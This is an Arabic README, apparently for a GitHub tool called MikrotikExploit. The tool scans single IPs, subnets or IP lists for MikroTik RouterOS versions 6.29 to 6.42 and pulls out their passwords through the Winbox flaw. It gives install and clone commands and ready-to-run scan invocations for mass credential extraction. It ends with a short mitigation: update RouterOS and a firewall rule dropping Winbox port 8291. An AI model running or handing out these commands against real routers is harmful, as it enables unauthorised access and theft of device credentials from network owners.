استغلال ميكروتيك

مسح وتصدير كلمة مرور RouterOS

يسمح لك بمسح شبكة فرعية من IPv4 في حلقة مع منافذ مختلفة.

التثبيت

أوبونتو/ديبيان:

$ apt-get install python3

أوبونتو/ديبيان:

$ apt-get install python3-pip

ماك

$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

export PATH=/usr/local/bin:/usr/local/sbin:$PATH

$ brew install python3

$ pip3 install ipcalc
$ pip3 install requests

$ git clone https://github.com/miladdiaz/MikrotikExploit
$ cd MikrotikExploit

مسح عنوان IP واحد: في المجلد الجذر للبرنامج النصي

$ python3 loop.py 192.168.1.10

مسح بمنفذ مختلف

$ python3 loop.py 192.168.1.10 -p 8282

مسح نطاق من IP

$ python3 loop.py 192.168.1.0/24

مسح قائمة IP من ملف

$ python3 loop.py -f list.txt

جميع الإصدارات من 6.29 (تاريخ الإصدار: 2015/28/05) إلى 6.42 (تاريخ الإصدار: 2018/04/20)

تحديث RouterOS وتقييد تسجيل الدخول إلى Winbox

ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

تم اشتقاق هذا المستودع من BigNerd95/Chimay-Red و BasuCert/WinboxPoC مع بعض التغييرات لمسح الشبكة الفرعية، واستخدام منفذ مختلف وملف قائمة IP.